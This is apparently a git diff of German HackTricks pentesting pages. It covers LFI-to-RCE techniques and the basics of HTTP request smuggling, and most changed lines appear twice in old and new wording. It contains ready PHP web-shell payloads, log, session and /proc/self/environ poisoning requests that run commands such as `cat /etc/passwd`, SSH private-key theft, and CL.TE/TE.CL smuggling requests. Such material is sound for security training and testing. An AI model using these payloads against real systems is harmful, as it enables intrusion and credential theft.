2. Schließen Sie [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD) ein, wobei $PID die Prozess-ID ist (kann durch Brute-Force ermittelt werden) und $FD der Dateideskriptor ist (kann ebenfalls durch Brute-Force ermittelt werden).
2. Schließen Sie [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD) ein, wobei $PID = PID des Prozesses (kann erzwungen werden) und $FD der Dateideskriptor (kann ebenfalls erzwungen werden).
### Über /proc/self/environ
Ähnlich wie eine Protokolldatei, senden Sie den Payload im User-Agent, er wird im /proc/self/environ-Datei reflektiert.
Wie eine Protokolldatei, senden Sie das Payload im User-Agent, es wird im /proc/self/environ-Datei reflektiert.
```
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>
```
### Über den Upload
### Über Upload
Wenn Sie eine Datei hochladen können, fügen Sie einfach die Shell-Payload ein (z.B.: `<?php system($_GET['c']); ?>`).
Wenn Sie eine Datei hochladen können, fügen Sie einfach das Shell-Payload ein (z. B .: `<?php system($_GET['c']); ?>`).
```
http://example.com/index.php?page=path/to/uploaded/file.png
```
Um die Datei lesbar zu halten, ist es am besten, in die Metadaten der Bilder/Dokumente/PDFs einzufügen.
Um die Datei lesbar zu halten, ist es am besten, in die Metadaten der Bilder/Dokumente/PDFs einzuspeisen.
### Über den Upload einer Zip-Datei
@ -550,7 +532,7 @@ example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
```
In PHP werden diese Sitzungen in Dateien _/var/lib/php5/sess\\_\[PHPSESSID]\_ gespeichert.
In PHP werden diese Sitzungen in Dateien unter _/var/lib/php5/sess\\_\[PHPSESSID]\_ gespeichert.
```
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
@ -559,22 +541,22 @@ Setze das Cookie auf `<?php system('cat /etc/passwd');?>`
```
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
```
Verwenden Sie LFI, um die PHP-Sitzungsdatei einzuschließen
Verwenden Sie die LFI, um die PHP-Sitzungsdatei einzuschließen.
```
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
```
### Über SSH
### Über ssh
Wenn SSH aktiv ist, überprüfen Sie, welcher Benutzer verwendet wird (/proc/self/status & /etc/passwd) und versuchen Sie auf **\<HOME>/.ssh/id\_rsa** zuzugreifen.
Wenn ssh aktiv ist, überprüfen Sie, welcher Benutzer verwendet wird (/proc/self/status & /etc/passwd) und versuchen Sie auf **\<HOME>/.ssh/id\_rsa** zuzugreifen.
### Über vsftpd-Protokoll
### Über vsftpd-Protokoll _Logs_
Die Protokolldateien für den FTP-Server vsftpd befinden sich unter **_/var/log/vsftpd.log_**. Wenn eine Local File Inclusion (LFI)-Schwachstelle besteht und der Zugriff auf einen freigegebenen vsftpd-Server möglich ist, können die folgenden Schritte unternommen werden:
Die Protokolle für den FTP-Server vsftpd befinden sich unter _**/var/log/vsftpd.log**_. Im Szenario, in dem eine lokale Dateieinschließungs (LFI)-Schwachstelle besteht und der Zugriff auf einen freigelegten vsftpd-Server möglich ist, können die folgenden Schritte in Betracht gezogen werden:
1. Fügen Sie während des Anmeldevorgangs eine PHP-Payload in das Benutzernamenfeld ein.
2. Nach der Injektion verwenden Sie die LFI, um die Serverprotokolle aus **_/var/log/vsftpd.log_** abzurufen.
1. Fügen Sie ein PHP-Payload in das Benutzernamenfeld während des Anmeldevorgangs ein.
2. Nach der Injektion verwenden Sie die LFI, um die Serverprotokolle von _**/var/log/vsftpd.log**_ abzurufen.
### Über den PHP Base64-Filter (mit base64)
### Über PHP Base64-Filter (unter Verwendung von Base64)
Wie in [diesem](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) Artikel gezeigt, ignoriert der PHP Base64-Filter einfach Nicht-Base64. Sie können dies verwenden, um die Dateierweiterungsprüfung zu umgehen: Wenn Sie Base64 bereitstellen, das mit ".php" endet, ignoriert es einfach den "." und fügt "php" an das Base64 an. Hier ist ein Beispiel-Payload:
```url
@ -584,7 +566,7 @@ NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
```
### Über php-Filter (keine Datei erforderlich)
Dieses [**Writeup**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) erklärt, dass Sie **php-Filter verwenden können, um beliebigen Inhalt** als Ausgabe zu generieren. Das bedeutet im Grunde genommen, dass Sie **beliebigen PHP-Code generieren können**, der in die Include-Anweisung einbezogen wird, **ohne ihn in eine Datei schreiben zu müssen**.
Dieser [**Bericht**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d)erklärt, dass Sie **php-Filter verwenden können, um beliebige Inhalte** als Ausgabe zu generieren. Dies bedeutet im Grunde genommen, dass Sie **beliebigen php-Code generieren können**, um ihn in die Include einzufügen, **ohne ihn in eine Datei schreiben zu müssen**.
{% content-ref url="lfi2rce-via-php-filters.md" %}
[lfi2rce-via-php-filters.md](lfi2rce-via-php-filters.md)
@ -592,15 +574,15 @@ Dieses [**Writeup**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e27
### Über Segmentation Fault
**Laden** Sie eine Datei hoch, die vorübergehend in `/tmp` gespeichert wird, und lösen Sie dann im **selben Request** einen **Segmentation Fault** aus. Die **vorübergehende Datei wird nicht gelöscht**, und Sie können danach suchen.
**Laden** Sie eine Datei hoch, die vorübergehend in `/tmp` gespeichert wird, lösen Sie dann im **selben Request** einen **Segmentation Fault** aus, und die **vorübergehende Datei wird nicht gelöscht**, sodass Sie danach suchen können.
{% content-ref url="lfi2rce-via-segmentation-fault.md" %}
[lfi2rce-via-segmentation-fault.md](lfi2rce-via-segmentation-fault.md)
{% endcontent-ref %}
### Über Nginx-Temporärspeicherung von Dateien
### Über Nginx temp file storage
Wenn Sie eine **Local File Inclusion** gefunden haben und **Nginx** vor PHP ausgeführt wird, können Sie möglicherweise RCE mit der folgenden Technik erzielen:
Wenn Sie eine **Local File Inclusion** gefunden haben und **Nginx** vor PHP läuft, könnten Sie mit der folgenden Technik RCE erhalten:
{% content-ref url="lfi2rce-via-nginx-temp-files.md" %}
[lfi2rce-via-nginx-temp-files.md](lfi2rce-via-nginx-temp-files.md)
@ -608,15 +590,15 @@ Wenn Sie eine **Local File Inclusion** gefunden haben und **Nginx** vor PHP ausg
### Über PHP\_SESSION\_UPLOAD\_PROGRESS
Wenn Sie eine **Local File Inclusion** gefunden haben, auch wenn Sie **keine Sitzung** haben und `session.auto_start` auf `Off` steht. Wenn Sie die **`PHP_SESSION_UPLOAD_PROGRESS`** in **multipart POST**-Daten bereitstellen, aktiviert PHP die Sitzung für Sie. Sie könnten dies missbrauchen, um RCE zu erlangen:
Wenn Sie eine **Local File Inclusion** gefunden haben, auch wenn Sie **keine Sitzung** haben und `session.auto_start` auf `Aus` steht. Wenn Sie die **`PHP_SESSION_UPLOAD_PROGRESS`** in **multipart POST**-Daten bereitstellen, wird PHP die Sitzung für Sie **aktivieren**. Sie könnten dies missbrauchen, um RCE zu erhalten:
{% content-ref url="via-php_session_upload_progress.md" %}
[via-php\_session\_upload\_progress.md](via-php\_session\_upload\_progress.md)
[via-php\_session\_upload\_progress.md](via-php_session_upload_progress.md)
{% endcontent-ref %}
### Über temporäre Datei-Uploads in Windows
Wenn Sie eine **Local File Inclusion** gefunden haben und der Server unter **Windows** läuft, können Sie möglicherweise RCE erlangen:
Wenn Sie eine **Local File Inclusion** gefunden haben und der Server unter **Windows** läuft, könnten Sie RCE erhalten:
{% content-ref url="lfi2rce-via-temp-file-uploads.md" %}
[lfi2rce-via-temp-file-uploads.md](lfi2rce-via-temp-file-uploads.md)
@ -624,7 +606,7 @@ Wenn Sie eine **Local File Inclusion** gefunden haben und der Server unter **Win
### Über phpinfo() (file\_uploads = on)
Wenn Sie eine **Local File Inclusion** gefunden haben und eine Datei, die **phpinfo()** mit file\_uploads = on offenlegt, können Sie RCE erlangen:
Wenn Sie eine **Local File Inclusion** gefunden haben und eine Datei, die **phpinfo()** mit file\_uploads = on freigibt, können Sie RCE erhalten:
{% content-ref url="lfi2rce-via-phpinfo.md" %}
[lfi2rce-via-phpinfo.md](lfi2rce-via-phpinfo.md)
@ -632,15 +614,15 @@ Wenn Sie eine **Local File Inclusion** gefunden haben und eine Datei, die **phpi
### Über compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Pfadoffenlegung
Wenn Sie eine **Local File Inclusion** gefunden haben und Sie den **Pfad der temporären Datei exfiltrieren können**, der **Server** jedoch **überprüft**, ob die **einzuschließende Datei PHP-Markierungen enthält**, können Sie versuchen, diese Überprüfung mit dieser **Race Condition** zu umgehen:
Wenn Sie eine **Local File Inclusion** gefunden haben und den Pfad der temporären Datei **exfiltrieren können**, der **Server** jedoch überprüft, ob die **einzuschließende Datei PHP-Markierungen hat**, können Sie versuchen, diese Überprüfung mit diesem **Race Condition** zu **umgehen**:
{% content-ref url="lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md" %}
[lfi2rce-via-compress.zlib-+-php\_stream\_prefer\_studio-+-path-disclosure.md](lfi2rce-via-compress.zlib-+-php\_stream\_prefer\_studio-+-path-disclosure.md)
[lfi2rce-via-compress.zlib-+-php\_stream\_prefer\_studio-+-path-disclosure.md](lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md)
{% endcontent-ref %}
### Über endloses Warten + Brute Force
### Über ewiges Warten + Brute Force
Wenn Sie die LFI missbrauchen können, um **vorübergehende Dateien hochzuladen** und den PHP-Code auf dem Server **anhaltend** zu machen, könnten Sie dann **Stunden damit verbringen, Dateinamen zu erraten**, um die vorübergehende Datei zu finden:
Wenn Sie die LFI missbrauchen können, um **vorübergehende Dateien hochzuladen** und den Server die PHP-Ausführung **anhängen** zu lassen, könnten Sie dann **Stunden damit verbringen, Dateinamen zu brute-forcen**, um die vorübergehende Datei zu finden:
{% content-ref url="lfi2rce-via-eternal-waiting.md" %}
[lfi2rce-via-eternal-waiting.md](lfi2rce-via-eternal-waiting.md)
@ -648,45 +630,7 @@ Wenn Sie die LFI missbrauchen können, um **vorübergehende Dateien hochzuladen*
### Zu einem Fatal Error
Wenn Sie eine der Dateien `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar` einbinden (Sie müssen dieselbe Datei zweimal einbinden, um diesen Fehler auszulösen).
Wenn Sie eine der Dateien `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar` einfügen. (Sie müssen dieselbe Datei zweimal einfügen, um diesen Fehler auszulösen).
**Ich weiß nicht, wie das nützlich sein könnte, aber es könnte sein.**\
_Auch wenn Sie einen PHP Fatal Error verursachen, werden temporäre PHP-Dateien gelöscht._
<figure><img src="../../.gitbook/assets/image (1) (5).png" alt=""><figcaption></figcaption></figure>
## Referenzen
* [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)\
* [PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders)
{% file src="../../.gitbook/assets/EN-Local-File-Inclusion-1.pdf" %}
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
Treten Sie dem [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) Server bei, um mit erfahrenen Hackern und Bug-Bounty-Jägern zu kommunizieren!
**Hacking Insights**\
Beschäftigen Sie sich mit Inhalten, die sich mit dem Nervenkitzel und den Herausforderungen des Hackens befassen.
**Echtzeit-Hack-News**\
Bleiben Sie mit der schnelllebigen Hacking-Welt durch Echtzeit-Nachrichten und Einblicke auf dem Laufenden.
**Neueste Ankündigungen**\
Bleiben Sie über die neuesten Bug-Bounties und wichtigen Plattformupdates informiert.
**Treten Sie uns bei** [**Discord**](https://discord.com/invite/N3FrSbmwdy) **bei und beginnen Sie noch heute mit der Zusammenarbeit mit Top-Hackern!**
<details>
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen** möchten, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegramm-Gruppe**](https://t.me/peass) bei oder folgen Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) **und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.**
</details>
**Ich weiß nicht, wie das nützlich ist, aber es könnte sein.**\
_Selbst wenn Sie einen PHP Fatal Error verursachen, werden temporäre PHP-Dateien gelöscht._

368
pentesting-web/http-request-smuggling/README.md
View file

@ -2,67 +2,73 @@
<details>
<summary><strong>Lernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen** oder **HackTricks in PDF herunterladen** möchten, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegramm-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositories senden.
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.
</details>
## Was ist
Diese Schwachstelle tritt auf, wenn eine **Desynchronisierung** zwischen **Front-End-Proxies** und dem **Back-End-Server** es einem **Angreifer ermöglicht**, eine HTTP-Anfrage zu senden, die von den **Front-End-Proxies** (Load Balancer/Reverse Proxy) als **eine einzelne Anfrage** und vom **Back-End-Server als zwei Anfragen** interpretiert wird.\
Dies ermöglicht es einem Benutzer, die nächste Anfrage zu modifizieren, die beim Back-End-Server nach seiner Anfrage eintrifft.
Diese Schwachstelle tritt auf, wenn eine **Desynchronisierung** zwischen **Front-End-Proxies** und dem **Back-End**-Server einem **Angreifer** ermöglicht, einen HTTP-**Request** zu **senden**, der von den **Front-End-Proxies** (Load Balancer/Reverse-Proxy) als **eine Anfrage** und vom **Back-End**-Server als **2 Anfragen** interpretiert wird.\
Dies ermöglicht es einem Benutzer, die **nächste Anfrage zu modifizieren, die beim Back-End-Server nach seiner** ankommt.
### Theorie
[**RFC-Spezifikation (2161)**](https://tools.ietf.org/html/rfc2616)
> Wenn eine Nachricht sowohl ein Transfer-Encoding-Headerfeld als auch ein Content-Length-Headerfeld enthält, muss das letztere ignoriert werden.
> Wenn eine Nachricht sowohl ein Transfer-Encoding-Headerfeld als auch ein Content-Length-Headerfeld enthält, muss letzteres ignoriert werden.
**Content-Length**
> Der Content-Length-Header des Entitätskörpers gibt die Größe des Entitätskörpers in Bytes an, die an den Empfänger gesendet werden.
> Der Content-Length-Entitätsheader gibt die Größe des Entitätskörpers in Bytes an, der an den Empfänger gesendet wird.
**Transfer-Encoding: chunked**
> Der Transfer-Encoding-Header gibt die Art der Codierung an, die zum sicheren Übertragen des Nutzdatenkörpers an den Benutzer verwendet wird.\
> Der Transfer-Encoding-Header gibt die Art der Codierung an, die verwendet wird, um den Nutzlastkörper sicher an den Benutzer zu übertragen.\
> Chunked bedeutet, dass große Daten in einer Reihe von Chunks gesendet werden.
### Realität
Das **Front-End** (ein Load Balancer/Reverse Proxy) **verarbeitet** den _**Content-Length**_- oder den _**Transfer-Encoding**_-Header und der **Back-End-Server verarbeitet den anderen**, was zu einer **Desynchronisierung** zwischen den beiden Systemen führt.\
Dies kann sehr kritisch sein, da **ein Angreifer eine Anfrage** an den Reverse Proxy senden kann, die vom **Back-End-Server als zwei verschiedene Anfragen interpretiert wird**. Die **Gefahr** dieser Technik besteht darin, dass der **Back-End-Server die injizierte 2. Anfrage** so interpretiert, als käme sie vom nächsten Client, und die **echte Anfrage** dieses Clients Teil der **injizierten Anfrage** wird.
Das **Front-End** (ein Load-Balancer/Reverse-Proxy) **verarbeitet** den _**Content-Length**_- oder den _**Transfer-Encoding**_-Header und der **Back-End**-Server **verarbeitet den anderen**, was eine **Desynchronisierung** zwischen den beiden Systemen verursacht.\
Dies könnte sehr kritisch sein, da **ein Angreifer eine Anfrage an den Reverse-Proxy senden kann**, die vom **Back-End**-Server **als 2 verschiedene Anfragen interpretiert wird**. Die **Gefahr** dieser Technik besteht darin, dass der **Back-End**-Server die **injizierte 2. Anfrage** als käme sie vom nächsten Client und die **echte Anfrage** dieses Clients wird Teil der **injizierten Anfrage** sein.
### Besonderheiten
Denken Sie daran, dass in HTTP **ein Zeilenumbruchszeichen aus 2 Bytes besteht**:
Denken Sie daran, dass in HTTP **ein Zeilenumbruch aus 2 Bytes besteht:**
* **Content-Length**: Dieser Header verwendet eine **Dezimalzahl**, um die **Anzahl** der **Bytes** des **Körpers** der Anfrage anzugeben. Der Körper wird erwartungsgemäß mit dem letzten Zeichen enden, **ein Zeilenumbruch ist am Ende der Anfrage nicht erforderlich**.
* **Transfer-Encoding:** Dieser Header verwendet in **Körper** eine **hexadezimale Zahl**, um die **Anzahl** der **Bytes** des **nächsten Chunks** anzugeben. Der **Chunk** muss mit einem **Zeilenumbruch** enden, aber dieser Zeilenumbruch **wird nicht durch den Längenindikator gezählt**. Diese Übertragungsmethode muss mit einem **Chunk der Größe 0 gefolgt von 2 Zeilenumbrüchen** enden: `0`
* **Connection**: Basierend auf meiner Erfahrung wird empfohlen, **`Connection: keep-alive`** für die erste Anfrage des Request Smuggling zu verwenden.
* **Content-Length**: Dieser Header verwendet eine **Dezimalzahl**, um die **Anzahl** von **Bytes** des **Körpers** der Anfrage anzugeben. Der Körper wird erwartet, dass er mit dem letzten Zeichen endet, **ein Zeilenumbruch ist am Ende der Anfrage nicht erforderlich**.
* **Transfer-Encoding:** Dieser Header verwendet im **Körper** eine **hexadezimale Zahl**, um die **Anzahl** von **Bytes** des **nächsten Chunks** anzugeben. Der **Chunk** muss mit einem **Zeilenumbruch enden**, aber dieser Zeilenumbruch **wird nicht durch den Längenindikator gezählt**. Diese Übertragungsmethode muss mit einem **Chunk der Größe 0 enden, gefolgt von 2 Zeilenumbrüchen**: `0`
* **Connection**: Basierend auf meiner Erfahrung wird empfohlen, **`Connection: keep-alive`** bei der ersten Anfrage des Request Smuggling zu verwenden.
## Grundlegende Beispiele
HTTP Request Smuggling-Angriffe werden durch den Versand von mehrdeutigen Anfragen erstellt, die Diskrepanzen in der Interpretation der `Content-Length` (CL) und `Transfer-Encoding` (TE) Header zwischen Front-End- und Back-End-Servern ausnutzen. Diese Angriffe können sich in verschiedenen Formen manifestieren, hauptsächlich als **CL.TE**, **TE.CL** und **TE.TE**. Jeder Typ repräsentiert eine einzigartige Kombination davon, wie die Front-End- und Back-End-Server diese Header priorisieren. Die Schwachstellen entstehen durch die unterschiedliche Verarbeitung der gleichen Anfrage durch die Server, was zu unerwarteten und potenziell bösartigen Ergebnissen führt.
{% hint style="success" %}
Beim Versuch, dies mit Burp Suite auszunutzen, **deaktivieren Sie `Update Content-Length` und `Normalize HTTP/1 line endings`** im Repeater, da einige Gadgets Zeilenumbrüche, Wagenrückläufe und fehlerhafte Content-Lengths missbrauchen.
{% endhint %}
### Grundlegende Beispiele für Schwachstellentypen
HTTP-Request-Smuggling-Angriffe werden durch den Versand mehrdeutiger Anfragen erstellt, die Diskrepanzen in der Interpretation der `Content-Length` (CL) und `Transfer-Encoding` (TE) Header durch Front-End- und Back-End-Server ausnutzen. Diese Angriffe können sich in verschiedenen Formen manifestieren, hauptsächlich als **CL.TE**, **TE.CL** und **TE.TE**. Jeder Typ repräsentiert eine einzigartige Kombination, wie die Front-End- und Back-End-Server diese Header priorisieren. Die Schwachstellen entstehen daraus, dass die Server dieselbe Anfrage auf unterschiedliche Weise verarbeiten, was zu unerwarteten und potenziell bösartigen Ergebnissen führen kann.
### Grundlegende Beispiele von Schwachstellentypen
![https://twitter.com/SpiderSec/status/1200413390339887104?ref\_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104\&ref\_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104](../../.gitbook/assets/EKi5edAUUAAIPIK.jpg)
#### CL.TE Schwachstelle (Content-Length verwendet von Front-End, Transfer-Encoding verwendet von Back-End)
- **Front-End (CL):** Verarbeitet die Anfrage basierend auf dem `Content-Length`-Header.
- **Back-End (TE):** Verarbeitet die Anfrage basierend auf dem `Transfer-Encoding`-Header.
- **Angriffsszenario:**
- Der Angreifer sendet eine Anfrage, bei der der Wert des `Content-Length`-Headers nicht mit der tatsächlichen Länge des Inhalts übereinstimmt.
- Der Front-End-Server leitet die gesamte Anfrage basierend auf dem Wert von `Content-Length` an das Back-End weiter.
- Der Back-End-Server verarbeitet die Anfrage aufgrund des `Transfer-Encoding: chunked`-Headers als chunked und interpretiert die restlichen Daten als separate, nachfolgende Anfrage.
- **Beispiel:**
#### CL.TE Schwachstelle (Content-Length vom Front-End verwendet, Transfer-Encoding vom Back-End verwendet)
* **Front-End (CL):** Verarbeitet die Anfrage basierend auf dem `Content-Length`-Header.
* **Back-End (TE):** Verarbeitet die Anfrage basierend auf dem `Transfer-Encoding`-Header.
* **Angriffsszenario:**
* Der Angreifer sendet eine Anfrage, bei der der Wert des `Content-Length`-Headers nicht mit der tatsächlichen Inhaltslänge übereinstimmt.
* Der Front-End-Server leitet die gesamte Anfrage an das Back-End weiter, basierend auf dem Wert von `Content-Length`.
* Der Back-End-Server verarbeitet die Anfrage aufgrund des `Transfer-Encoding: chunked`-Headers als chunked und interpretiert die verbleibenden Daten als separate, nachfolgende Anfrage.
* **Beispiel:**
```
POST / HTTP/1.1
Host: vulnerable-website.com
@ -76,14 +82,16 @@ GET /404 HTTP/1.1
Foo: x
```
#### TE.CL Schwachstelle (Transfer-Encoding verwendet von Front-End, Content-Length verwendet von Back-End)
- **Front-End (TE):** Verarbeitet die Anfrage basierend auf dem `Transfer-Encoding`-Header.
- **Back-End (CL):** Verarbeitet die Anfrage basierend auf dem `Content-Length`-Header.
- **Angriffsszenario:**
- Der Angreifer sendet eine chunked-Anfrage, bei der die Chunk-Größe (`7b`) und die tatsächliche Länge des Inhalts (`Content-Length: 4`) nicht übereinstimmen.
- Der Front-End-Server leitet die gesamte Anfrage basierend auf `Transfer-Encoding` an das Back-End weiter.
- Der Back-End-Server verarbeitet nur den Anfang der Anfrage (`7b` Bytes) gemäß `Content-Length` und lässt den Rest als Teil einer unbeabsichtigten nachfolgenden Anfrage.
- **Beispiel:**
#### TE.CL Schwachstelle (Transfer-Encoding vom Front-End verwendet, Content-Length vom Back-End verwendet)
* **Front-End (TE):** Verarbeitet die Anfrage basierend auf dem `Transfer-Encoding`-Header.
* **Back-End (CL):** Verarbeitet die Anfrage basierend auf dem `Content-Length`-Header.
* **Angriffsszenario:**
* Der Angreifer sendet eine chunked Anfrage, bei der die Chunk-Größe (`7b`) und die tatsächliche Inhaltslänge (`Content-Length: 4`) nicht übereinstimmen.
* Der Front-End-Server leitet die gesamte Anfrage an das Back-End weiter, indem er `Transfer-Encoding` beachtet.
* Der Back-End-Server verarbeitet aufgrund von `Content-Length` nur den Anfang der Anfrage (`7b` Bytes) und lässt den Rest als Teil einer unbeabsichtigten nachfolgenden Anfrage.
* **Beispiel:**
```
POST / HTTP/1.1
Host: vulnerable-website.com
@ -101,13 +109,15 @@ x=
0
```
#### TE.TE-Schwachstelle (Transfer-Encoding von beiden mit Verschleierung verwendet)
- **Server:** Beide unterstützen `Transfer-Encoding`, aber einer kann durch Verschleierung dazu gebracht werden, es zu ignorieren.
- **Angriffsszenario:**
- Der Angreifer sendet eine Anfrage mit verschleierten `Transfer-Encoding`-Headern.
- Je nachdem, welcher Server (Front-End oder Back-End) die Verschleierung nicht erkennt, kann eine CL.TE- oder TE.CL-Schwachstelle ausgenutzt werden.
- Der nicht verarbeitete Teil der Anfrage, wie er von einem der Server gesehen wird, wird Teil einer nachfolgenden Anfrage und führt zu Smuggling.
- **Beispiel:**
#### TE.TE Schwachstelle (Transfer-Encoding von beiden verwendet, mit Verschleierung)
* **Server:** Beide unterstützen `Transfer-Encoding`, aber einer kann durch Verschleierung dazu gebracht werden, es zu ignorieren.
* **Angriffsszenario:**
* Der Angreifer sendet eine Anfrage mit verschleierten `Transfer-Encoding`-Headern.
* Je nachdem, welcher Server (Front-End oder Back-End) die Verschleierung nicht erkennt, kann eine CL.TE- oder TE.CL-Schwachstelle ausgenutzt werden.
* Der nicht verarbeitete Teil der Anfrage, wie von einem der Server gesehen, wird Teil einer nachfolgenden Anfrage, was zu Smuggling führt.
* **Beispiel:**
```
POST / HTTP/1.1
Host: vulnerable-website.com
@ -125,10 +135,12 @@ Transfer-Encoding
: chunked
```
#### **CL.CL-Szenario (Content-Length von Front-End und Back-End verwendet):**
- Beide Server verarbeiten die Anfrage ausschließlich anhand des `Content-Length`-Headers.
- Dieses Szenario führt in der Regel nicht zu Smuggling, da beide Server die Anfragelänge gleich interpretieren.
- **Beispiel:**
#### **CL.CL Szenario (Content-Length von Front-End und Back-End verwendet):**
* Beide Server verarbeiten die Anfrage ausschließlich anhand des `Content-Length`-Headers.
* Dieses Szenario führt in der Regel nicht zu Smuggling, da beide Server die Anfragelänge auf die gleiche Weise interpretieren.
* **Beispiel:**
```
POST / HTTP/1.1
Host: vulnerable-website.com
@ -138,10 +150,12 @@ Connection: keep-alive
Normale Anfrage
```
#### **CL != 0-Szenario:**
- Bezieht sich auf Szenarien, in denen der `Content-Length`-Header vorhanden ist und einen Wert ungleich Null hat, was darauf hinweist, dass der Anfragekörper Inhalt hat.
- Es ist wichtig, Smuggling-Angriffe zu verstehen und zu erstellen, da dies beeinflusst, wie Server das Ende einer Anfrage bestimmen.
- **Beispiel:**
#### **CL != 0 Szenario:**
* Bezieht sich auf Szenarien, in denen der `Content-Length`-Header vorhanden ist und einen Wert ungleich Null aufweist, was darauf hinweist, dass der Anfragekörper Inhalt hat.
* Es ist entscheidend für das Verständnis und die Ausführung von Smuggling-Angriffen, da es beeinflusst, wie Server das Ende einer Anfrage bestimmen.
* **Beispiel:**
```
POST / HTTP/1.1
Host: vulnerable-website.com
@ -151,27 +165,28 @@ Connection: keep-alive
Nicht leerer Körper
```
#### Erzwingen über Hop-by-Hop-Header
#### Erzwingen über hop-by-hop-Header
Durch Missbrauch von Hop-by-Hop-Headern können Sie den Proxy dazu veranlassen, **den Header Content-Length oder Transfer-Encoding zu löschen, sodass ein HTTP-Anfrage-Smuggling missbraucht werden kann**.
Durch den Missbrauch von hop-by-hop-Headern könnten Sie dem Proxy anzeigen, **den Header Content-Length oder Transfer-Encoding zu löschen, sodass ein HTTP-Anfragesmuggling möglich ist, um Missbrauch zu betreiben**.
```
Connection: Content-Length
```
Für **weitere Informationen zu hop-by-hop-Headern** besuchen Sie:
Für **weitere Informationen zu hop-by-hop Headern** besuchen Sie:
{% content-ref url="../abusing-hop-by-hop-headers.md" %}
[abusing-hop-by-hop-headers.md](../abusing-hop-by-hop-headers.md)
